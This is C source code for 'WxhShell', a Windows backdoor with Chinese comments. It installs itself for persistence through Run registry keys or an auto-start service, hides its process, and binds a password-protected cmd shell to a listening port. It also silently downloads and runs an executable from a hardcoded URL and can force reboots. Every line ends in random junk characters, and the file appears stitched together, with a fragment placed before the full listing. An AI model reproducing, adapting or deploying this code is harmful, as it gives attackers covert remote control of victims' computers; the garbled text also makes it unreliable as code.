    if(Boot(SHUTDOWN)) X|L.fB=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `hM`bcS  
    else { ~^$ONmI5  
    closesocket(wsh); H.XD8qi3W  
    ExitThread(0); 6#7f^uIK  
    } 1Ls@|   
    break; ly%$>BRU  
    } g10$pf+L  
  // 获取shell 99G/(Z}  
  case 's': { cz OhSbmc  
    CmdShell(wsh); 8<0H(lj7_  
    closesocket(wsh); 4o9#B:N]J  
    ExitThread(0); 2$yKa5SaX  
    break; *y5d&4G2  
  } eT[ ,k[#q  
  // 退出 iBwl(,)?m2  
  case 'x': { VvSD &r^qI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g~h`wv'  
    CloseIt(wsh); <d# 9d.<  
    break; .^I,C!O#  
    }  3Fo,F  
  // 离开 kWjCSC>jA  
  case 'q': { 5aL0N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jbpnCUzi  
    closesocket(wsh); %FT F  
    WSACleanup(); tNjb{(eO\h  
    exit(1); {G&K_~Vj  
    break; Tcz67&c |W  
        } gdSv) (  
  } 8*=N\'m],  
  } }<uD[[FLB  
gmLGK1  
  // 提示信息 FfI $3:9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m=z-}T5y!T  
} -kq=W_  
  } o ]2=5;)  
,COSpq]6  
  return; (:,N?bg  
} @{@x2'-A  
Itr yiU9  
// shell模块句柄 aN ). G1  
int CmdShell(SOCKET sock) L; Nz\sJ  
{ #?}k0Y  
STARTUPINFO si; yf*MG&}  
ZeroMemory(&si,sizeof(si)); ~)tIO<$U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yb*SD!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 '2E-#^  
PROCESS_INFORMATION ProcessInfo; 0h^upB#p  
char cmdline[]="cmd"; w?Nvm?_]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qXt2m  
  return 0; 4fr/ C5M  
} Q {3"&  
@'?<9 2A  
// 自身启动模式 $f_;>f2N  
int StartFromService(void) *hF5cM[  
{ McNj TD  
typedef struct vs{i2!^  
{ RxAWX?9Z  
  DWORD ExitStatus; ^.mQ~F  
  DWORD PebBaseAddress; <6mXlK3N0  
  DWORD AffinityMask; :)g=AhBF  
  DWORD BasePriority; Z=z'j8z3  
  ULONG UniqueProcessId; |08tQ  
  ULONG InheritedFromUniqueProcessId; QVL92"  
}   PROCESS_BASIC_INFORMATION; :o*{.  
Fb*^GH)J  
PROCNTQSIP NtQueryInformationProcess; !R//"{k0?  
HO41)m+&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p"Oi83w;9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "@ Zy+zLU  
}pu2/44=W  
  HANDLE             hProcess; KAjKv_6=g  
  PROCESS_BASIC_INFORMATION pbi; Fq&@dxN3  
l|%7)2TyG)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PD|I3qv~  
  if(NULL == hInst ) return 0; Iu 2RK  
J}i$ny_3OB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rxI?|}4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;pU9ov4)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NJz8ANpro$  
uB 6`e!Q  
  if (!NtQueryInformationProcess) return 0; `;(/W h  
s_.q/D@vu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M98dQ%4I  
  if(!hProcess) return 0; [m|\N  
rD%(*|Y"c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CP7Zin1S/w  
AXH4jQw  
  CloseHandle(hProcess); mz+>rc  
#fG!dD42  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5ii`!y  
if(hProcess==NULL) return 0; {3$ge  
 |}QDC/  
HMODULE hMod; \qUmdN{FU  
char procName[255]; b&*^\hY9b  
unsigned long cbNeeded; NqkRR$O  
?qHW"0Tjn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gD _tBv  
lk}R#n$  
  CloseHandle(hProcess); 'iXjt MX  
.<u<!fL2  
if(strstr(procName,"services")) return 1; // 以服务启动 6@wnF>'/\  
"2'nLQ""q  
  return 0; // 注册表启动 ^\e:j7@z  
} $* b>c:  
b-M[la}1"  
// 主模块 $Z+N*w~8  
int StartWxhshell(LPSTR lpCmdLine) t<|=-  
{ _Y|k \|'  
  SOCKET wsl; 4oT2 5VH  
BOOL val=TRUE; zXbTpm  
  int port=0; vo!:uvy;2  
  struct sockaddr_in door; KVtnz  
uTbI\iq  
  if(wscfg.ws_autoins) Install(); qO Zc}J0  
_S,2j_R9  
port=atoi(lpCmdLine); Mq[;:  
6[aCjW  
if(port<=0) port=wscfg.ws_port; Ny*M{}E  
(FH4\'t)  
  WSADATA data; C(}9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6DaH+  
m1]rLeeEt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JI3AR e?y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &ad9VB7  
  door.sin_family = AF_INET; me1ac\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p % 3B^  
  door.sin_port = htons(port); v_{`O'#j^  
'}P)iS2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <H}"xp)j0  
closesocket(wsl); nl*{@R.q @  
return 1; #n{wK+lz  
} u<!!%C~+=  
<C+ :hsS=  
  if(listen(wsl,2) == INVALID_SOCKET) { {8@?9Z9R{  
closesocket(wsl); .Z8 x!!Q*  
return 1; 2i |wQU5w  
} ]v rpr%K  
  Wxhshell(wsl); 3hO` GM  
  WSACleanup(); W E|L{  
fS1N(RZ 1  
return 0; ~< Gs<c}z  
9s73mu`Twg  
}  R(k6S  
z;#}u C  
// 以NT服务方式启动 q&jZmr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I y8gQdI  
{ K?-K<3]9f  
DWORD   status = 0; 45/f}kvy  
  DWORD   specificError = 0xfffffff; O5Yk=-_m  
hB P]^~(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7R7g$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Te$/[`<U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S &s7]  
  serviceStatus.dwWin32ExitCode     = 0; lH:TE=|4  
  serviceStatus.dwServiceSpecificExitCode = 0; Z:O24{ro5  
  serviceStatus.dwCheckPoint       = 0; 7fI[yCh  
  serviceStatus.dwWaitHint       = 0; %lv2;-  
6}C4 SZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U+@yx>!  
  if (hServiceStatusHandle==0) return; ^=OjsN  
 t Z\  
status = GetLastError(); Jc`LUJT  
  if (status!=NO_ERROR) 7Ar4:iNvX  
{ H!Uy4L~>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FLEf(  
    serviceStatus.dwCheckPoint       = 0; JP!$uK{u  
    serviceStatus.dwWaitHint       = 0; 7<IrN\@U  
    serviceStatus.dwWin32ExitCode     = status; bxkp9o  
    serviceStatus.dwServiceSpecificExitCode = specificError; FxM`$n~K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HY5g>wv@  
    return; (}4tj4d  
  } \dIIZSN  
"h$A.S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Bq79Ev .-  
  serviceStatus.dwCheckPoint       = 0; 8@6:UR.)  
  serviceStatus.dwWaitHint       = 0; mEz&:A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j,6dGb  
} q$:T<mFK$  
nHD4J;l  
// 处理NT服务事件,比如:启动、停止 F3H)B:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W>wE8? _,  
{ 6/nhz6=  
switch(fdwControl) <G2;nvRr  
{ 3t68cdFlz  
case SERVICE_CONTROL_STOP: 2~R"3c+^  
  serviceStatus.dwWin32ExitCode = 0; Z(/jQ=ozQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !fzqpl\ze  
  serviceStatus.dwCheckPoint   = 0; R/ l1$}  
  serviceStatus.dwWaitHint     = 0; ouVR[w>V  
  { kn+`2-0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jl3RE|M\<  
  } wbd>By(T1  
  return; {-Yp~HQF  
case SERVICE_CONTROL_PAUSE: GG(rp]rgl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U+~0m!|4  
  break; {(ey!O  
case SERVICE_CONTROL_CONTINUE: uO,90g[C/R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3<m"z9$  
  break; HQ/PHUg2  
case SERVICE_CONTROL_INTERROGATE: TeHL=\L-^  
  break; lG%oqxJ+ L  
}; o \b8lwA,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <\X4_sdy  
} 1ReO.Dd`R  
9WtTUk  
// 标准应用程序主函数 OR1XQij  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mOGcv_L  
{ :!g|0CF_  
:V}8a!3h  
// 获取操作系统版本 ,6i67!lb  
OsIsNt=GetOsVer(); c{|soc[#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #(ANyU(#e  
=ZzhH};aX  
  // 从命令行安装 r A0[y  
  if(strpbrk(lpCmdLine,"iI")) Install(); a(d'iAU8^  
2x$\vL0  
  // 下载执行文件 (tyo4Tz1  
if(wscfg.ws_downexe) { (V{bfDu&h@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r{>tTJFD(:  
  WinExec(wscfg.ws_filenam,SW_HIDE); {< jLfL1  
} %J~8a_vO  
A ;Z%-x  
if(!OsIsNt) { zHDC8m  
// 如果时win9x,隐藏进程并且设置为注册表启动 9OF5A<%"u  
HideProc(); {YK6IgEsJe  
StartWxhshell(lpCmdLine); Z0b1E  
} '(^p$=3|@D  
else _V-@95fK  
  if(StartFromService()) ,o*b-Cv/  
  // 以服务方式启动 (;~[}"  
  StartServiceCtrlDispatcher(DispatchTable); sl |S9Ix  
else I*6L`#j[  
  // 普通方式启动 h-lMrI)U?h  
  StartWxhshell(lpCmdLine); "Q2[A]4E  
WDE_"Mm  
return 0; <mrLld#_:C  
} 9DKmXL  
$ AG.<  
gqZ7Pro.  
uZd)o AB  
=========================================== ;)"r^M)):  
MSRIG-  
[OH>NpL  
T_v  
ou,W|<%  
nHyWb6  
" G\jr^d\  
5XFhjVmEL  
#include <stdio.h> (Clf]\_II  
#include <string.h> k(%RX _]C  
#include <windows.h> +-qD!(&-6  
#include <winsock2.h> cX *  
#include <winsvc.h> la|#SS95  
#include <urlmon.h> PeT A:MW  
6Oo'&3@  
#pragma comment (lib, "Ws2_32.lib") *J1pxZ^  
#pragma comment (lib, "urlmon.lib") *DDfdn  
IGu*#>h  
#define MAX_USER   100 // 最大客户端连接数 RD{jYr;  
#define BUF_SOCK   200 // sock buffer =k3QymA  
#define KEY_BUFF   255 // 输入 buffer m='+->O*'l  
MW'z*r|,  
#define REBOOT     0   // 重启 z-krL:A  
#define SHUTDOWN   1   // 关机 PcDPRX!@  
7F}I.,<W  
#define DEF_PORT   5000 // 监听端口 rrbCg(  
-W+dsZ Sv8  
#define REG_LEN     16   // 注册表键长度 Srol0D I  
#define SVC_LEN     80   // NT服务名长度 Z U f<s?  
6u8`,&U  
// 从dll定义API ~aA+L-s|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aW w`v[v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LT'#0dCC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D=9x/ ) *G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,!sAr;Rk`  
]r|.\}2Y7  
// wxhshell配置信息 .!)7x3|$[  
struct WSCFG { BN#^ /a-  
  int ws_port;         // 监听端口 6"&&s  
  char ws_passstr[REG_LEN]; // 口令 d{ OY  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z;WqKIM#  
  char ws_regname[REG_LEN]; // 注册表键名 G=yQYsC$  
  char ws_svcname[REG_LEN]; // 服务名 Jv7 @[<$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r~t&;yRv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4XX21<yn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4fP>;9[F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r10)1`[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mN@0lfk;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :*}tkr4&eh  
~a/yLI"'g  
}; !B-&I E?  
='soSnT  
// default Wxhshell configuration AbcLHV.  
struct WSCFG wscfg={DEF_PORT, bs_I{bCu?  
    "xuhuanlingzhe", Hb!Q}V+Kb8  
    1, 60X B  
    "Wxhshell", ;&JMBn]J  
    "Wxhshell", J8/>b{Y  
            "WxhShell Service", :,GsbNKW  
    "Wrsky Windows CmdShell Service", nM R _ ?g  
    "Please Input Your Password: ", !aLByMA  
  1, #-e3m/>  
  "http://www.wrsky.com/wxhshell.exe", Dk ]Y\:  
  "Wxhshell.exe" 63:ZDQ  
    }; }=XL^a|V  
tb0s+rb  
// 消息定义模块 =_ -@1 1a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :hxfd b-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {H"gp?Z-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !u4oo-  
char *msg_ws_ext="\n\rExit."; Fp@eb8Pl  
char *msg_ws_end="\n\rQuit."; $XT&8%|*7  
char *msg_ws_boot="\n\rReboot..."; /V&$SRdL*  
char *msg_ws_poff="\n\rShutdown..."; 3=;iC6 `  
char *msg_ws_down="\n\rSave to "; W-Hw%bwN/q  
S1`+r0Fk~n  
char *msg_ws_err="\n\rErr!"; 2"V?+Hhz  
char *msg_ws_ok="\n\rOK!"; #c?\(qjWA  
tw*qlbFHv  
char ExeFile[MAX_PATH]; )O2^?Q quS  
int nUser = 0; EkXns%][L  
HANDLE handles[MAX_USER]; AQ+w%>G6  
int OsIsNt; YW/YeID  
3f M  
SERVICE_STATUS       serviceStatus; HC!$Z`}Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \Sm.]=b r  
w="I*7c@  
// 函数声明 O-  r"G  
int Install(void); b?HW6Kfc  
int Uninstall(void); Fnll&TF  
int DownloadFile(char *sURL, SOCKET wsh); E$8GXo00v  
int Boot(int flag); aEX+M57k~  
void HideProc(void); ; [dcbyu@  
int GetOsVer(void); ,F:l?dfB\I  
int Wxhshell(SOCKET wsl); }.` ycLW'  
void TalkWithClient(void *cs); p|AIz3  
int CmdShell(SOCKET sock); OBb  
int StartFromService(void); :/Sx\Nz78  
int StartWxhshell(LPSTR lpCmdLine); ;t*45  
q[dls_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R<k4LHDy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B8B^@   
9>%f99n  
// 数据结构和表定义 na8A}\!<  
SERVICE_TABLE_ENTRY DispatchTable[] = OZk(VMuI  
{ % YU(,83(+  
{wscfg.ws_svcname, NTServiceMain}, wl5!f|  
{NULL, NULL} SjG=H%  
}; !:e}d+F  
atW;S99#  
// 自我安装 CS6,mX  
int Install(void) Hyq| %\A  
{ MdEZ839J  
  char svExeFile[MAX_PATH]; X g.\B1d  
  HKEY key; r7w&p.?  
  strcpy(svExeFile,ExeFile); >Qt#6X|  
mC J/gWDY  
// 如果是win9x系统,修改注册表设为自启动 =_Qt&B)  
if(!OsIsNt) { WR~uy|mX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bk#u0N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (x?A#o>%  
  RegCloseKey(key);  l R;<6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e2/&X;2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wf8vKl#Kfw  
  RegCloseKey(key); N:gS]OI*  
  return 0; i"|'p/9@q  
    } ~v+& ?dg  
  } \? MuORg  
} m6'YFpf)V  
else { m}F1sRkdQ  
Rn-L:o@?  
// 如果是NT以上系统,安装为系统服务 Ct"h.rD]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %2/WyD$U  
if (schSCManager!=0) > -k$:[l  
{ O^sgUT1O  
  SC_HANDLE schService = CreateService 7jEAhi!Cq(  
  ( OEZXV ;F  
  schSCManager, 80:na7$)#  
  wscfg.ws_svcname, ap_(/W  
  wscfg.ws_svcdisp, ilzR/DJMa  
  SERVICE_ALL_ACCESS, b4,yLVi<T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |$6Gp Aq!  
  SERVICE_AUTO_START, bjD0y cB[  
  SERVICE_ERROR_NORMAL, xa!@$w=U&  
  svExeFile, gsT%_2>CL  
  NULL, lc[\ S4  
  NULL, Kd^ ._  
  NULL, ( 8H "'  
  NULL, ?i9LqHL  
  NULL +a;: 7[%&  
  ); ]9b*!n<z  
  if (schService!=0) ! =|{  
  { P#76ehR]K  
  CloseServiceHandle(schService); AL,|%yup  
  CloseServiceHandle(schSCManager); IjNE1b$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7\5 [lM  
  strcat(svExeFile,wscfg.ws_svcname); c AIS?]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !U=;e?o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qRB&R$  
  RegCloseKey(key); <qv:7@  
  return 0; ]]9eUw=  
    } vW YN?"d  
  } ` YIpZ rB  
  CloseServiceHandle(schSCManager); qmJFXnf  
} 3}Uae#oy  
} i[WTp??Uv  
kw?RUt0-V  
return 1; WS2TOAya)  
} uw;s](~E  
6t*=.b,N  
// 自我卸载 D|_}~T>;&  
int Uninstall(void) JWH}0+1*  
{ rP#@*{";  
  HKEY key; ]3Mm"7`  
"T#c#?  
if(!OsIsNt) { >TK`s@jdSV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aD0w82s]J  
  RegDeleteValue(key,wscfg.ws_regname); C^l) n!fq  
  RegCloseKey(key); scN}eg:5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N!Kd VDdT|  
  RegDeleteValue(key,wscfg.ws_regname); kD"dZQx  
  RegCloseKey(key); PP$Ig2Q  
  return 0; Awe\KJ^`  
  } m,]Tl;f  
} .L6t3/^  
} 'Y>!xm   
else { y 0M&Bh  
| ql!@M(p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PMkwY {.u  
if (schSCManager!=0) b @5&<V;r2  
{ "eGS~-DVK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bncK8SK  
  if (schService!=0) E39:}_IV  
  { nef-xxXC^I  
  if(DeleteService(schService)!=0) { t1IC0'o-  
  CloseServiceHandle(schService); +Y 3_)  
  CloseServiceHandle(schSCManager); _BcB@a  
  return 0; ; Sh|6  
  } XTHrf'BU  
  CloseServiceHandle(schService); } vcr71u  
  } ^k u~m5v  
  CloseServiceHandle(schSCManager); " P0o)g+{  
} w&C SE  
} Rp.@  
}R}tIC-:  
return 1; _FAwW<S4B  
} bYG}CO  
TX;OA"3=\-  
// 从指定url下载文件 <2|x]b 8  
int DownloadFile(char *sURL, SOCKET wsh) /j3oHi$  
{ X(E f=:  
  HRESULT hr; .%~ L  
char seps[]= "/"; `b9oH^}n j  
char *token; q@Q|oB0W$)  
char *file; `Gsh<.w!7  
char myURL[MAX_PATH]; u%ih7v!r\  
char myFILE[MAX_PATH]; Km\M /j|  
X ,T^(p  
strcpy(myURL,sURL); =X+DC&]%!  
  token=strtok(myURL,seps); X3 a:*1N  
  while(token!=NULL) QZ9 )uI  
  { Xb6@;G"  
    file=token; ]T zN*6o  
  token=strtok(NULL,seps); /[{?zS{  
  } QHtpCNTVb  
%!YsSk,   
GetCurrentDirectory(MAX_PATH,myFILE); r("7 X2f  
strcat(myFILE, "\\"); i-niRu<  
strcat(myFILE, file); e(!a~{(kq%  
  send(wsh,myFILE,strlen(myFILE),0); ?]5wX2G^|J  
send(wsh,"...",3,0); PB }$.8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .fQDj{  
  if(hr==S_OK) ?8vjHEE  
return 0; ed\,FWR  
else rZ0@GA  
return 1; frGUT#9?n  
eZ  ]6 Q  
} i<%(Z[9Lk  
n,xK7icYNQ  
// 系统电源模块  hA/FK  
int Boot(int flag) v SWqOv$  
{ |mci-ZT  
  HANDLE hToken; qD`')=  
  TOKEN_PRIVILEGES tkp; lG jdDqi  
guFR5>-L  
  if(OsIsNt) { Uv%"45&7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A.z~wu%(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #yU4X\oO  
    tkp.PrivilegeCount = 1; ?]paAP;4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BAzqdG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XtQ3$0{*%  
if(flag==REBOOT) { G%'h'AV"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7a@V2cr@  
  return 0; ;39{iU. m  
} pCpj#+|_)  
else { '*)!&4f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]~a!O  
  return 0; egP3q5~  
} [a+?z6qI\}  
  } ODEy2).  
  else { 9N'$Y*. d<  
if(flag==REBOOT) { %t<Y6*g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MTLcLmdO  
  return 0; I s8|  
} <GoE2a4Va  
else { poXkH@[O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jh g!K.A  
  return 0; zIdQ^vm8Q  
} `w~ 9/sty  
} ?B h}  
4|Y0 $(6o  
return 1; 2\s-4H| q  
} 2etlR  
/>f`X+d  
// win9x进程隐藏模块 Z?v9ub~%  
void HideProc(void) ,eZ'pxt  
{ {/ty{  
5[Q44$a{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F92n)*[  
  if ( hKernel != NULL ) Y-,#3%bT;;  
  { hcN$p2-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j"YJ1R-5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %!eK"DKG^  
    FreeLibrary(hKernel); G`)I _uO  
  } _xmM~q[c7p  
g[eI-J+F  
return; s"sX# l[J  
} L8ZCGW\Rr  
NtA}I)'SWU  
// 获取操作系统版本 MJ7!f+!5  
int GetOsVer(void) rj:$'m7  
{ !(o)*S  
  OSVERSIONINFO winfo; Rf8|-G-}#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !\!fd(BN  
  GetVersionEx(&winfo); \(;5YCCE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @<w$QD  
  return 1; ^Yn6kF  
  else 9OTw6  
  return 0; Mr`u!T&sc  
} 4uTYuaCNs  
Q2Q`g`*O:  
// 客户端句柄模块 HD`Gi0  
int Wxhshell(SOCKET wsl) Qp-nr]  
{ 5))?,YkrrI  
  SOCKET wsh; [u-~<80  
  struct sockaddr_in client; -gC=%0sp\  
  DWORD myID; - +>~  
5g/WQo\  
  while(nUser<MAX_USER) 0"<g g5  
{ xorFz{  
  int nSize=sizeof(client); O81})r*Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [#)$BXG~y  
  if(wsh==INVALID_SOCKET) return 1; lffw7T~  
!H.&"~w@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O >'o;0  
if(handles[nUser]==0) f\|33)k  
  closesocket(wsh); !7}5"j ;A  
else (hmasy6hM  
  nUser++; )"f>cYF  
  } G19FSLrtA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YDDwvk H  
(}Gl'.>\M  
  return 0; (*hA0&n  
} HeF[H\a<  
6,oi(RAf  
// 关闭 socket Z0E+EMo  
void CloseIt(SOCKET wsh) dqG+hh^  
{ (o e;p a  
closesocket(wsh); ~tz[=3!1H  
nUser--; lW7kBCsz#  
ExitThread(0); _}Z*%sT  
} #%+IU  
&_!BMzp4  
// 客户端请求句柄 s$`evX7D  
void TalkWithClient(void *cs) ~~k IA"U  
{ M*0&3Y Z  
EStHl(DUPq  
  SOCKET wsh=(SOCKET)cs; \Lh,dZ}d  
  char pwd[SVC_LEN]; J$'T2@H#  
  char cmd[KEY_BUFF]; Sgr<z d'b  
char chr[1]; YS~\Gls%  
int i,j; b6g,mzqu  
,j2qY'wi  
  while (nUser < MAX_USER) { ir/2/ E  
kv)LH{  
if(wscfg.ws_passstr) { ZZlR:D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BPi>SI0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nw\p3  
  //ZeroMemory(pwd,KEY_BUFF); vy-{BH  
      i=0; Jbs:}]2  
  while(i<SVC_LEN) { d(fgv  
q9Fc0(&Vf  
  // 设置超时  )?4m}  
  fd_set FdRead; Z$[A.gD4  
  struct timeval TimeOut; K$(U>D|  
  FD_ZERO(&FdRead); $ar:5kif  
  FD_SET(wsh,&FdRead); 4"7Qz z  
  TimeOut.tv_sec=8; '^P Ud`  
  TimeOut.tv_usec=0; ?g<*1N?:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s"a*S\a;b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x<= ;=893  
{uckYx-A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /$q;-/DnTZ  
  pwd=chr[0]; uj8]\MY  
  if(chr[0]==0xd || chr[0]==0xa) { c#G(7.0MU  
  pwd=0; }Efp{E  
  break; ;1eu8N8  
  } f \4Qp  
  i++; S - 7JDE>  
    } JWxPH5L  
$_)f|\s  
  // 如果是非法用户,关闭 socket _q8s 7H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V7^?jy&&  
} >EMCG.**  
O|gb{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V-X n&s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dxASU|Yo9  
J(l6(+8  
while(1) { xds"n5  
s )To#  
  ZeroMemory(cmd,KEY_BUFF); 0+S:2i/G  
hSg: Rqnk  
      // 自动支持客户端 telnet标准   (/hF~A  
  j=0; _Juhl^LM;  
  while(j<KEY_BUFF) { 6 a$%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uAJ_`o[  
  cmd[j]=chr[0]; =jG3wf*  
  if(chr[0]==0xa || chr[0]==0xd) { -''vxt?7H&  
  cmd[j]=0; 2_Pe/  
  break; }B]FHpi  
  } "= %-  
  j++; C{>?~@z&5  
    } |kVxrq  
 m+vwp\0  
  // 下载文件 mKn[>M1  
  if(strstr(cmd,"http://")) { Fx.uPY.a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 wc&0h  
  if(DownloadFile(cmd,wsh)) -eNi;u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;eA~z"g  
  else 7tr.&A^c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >|rL0  
  } :Mt/6}  
  else { PH=wP ft  
I5D\Z  
    switch(cmd[0]) { w$t2Hd  
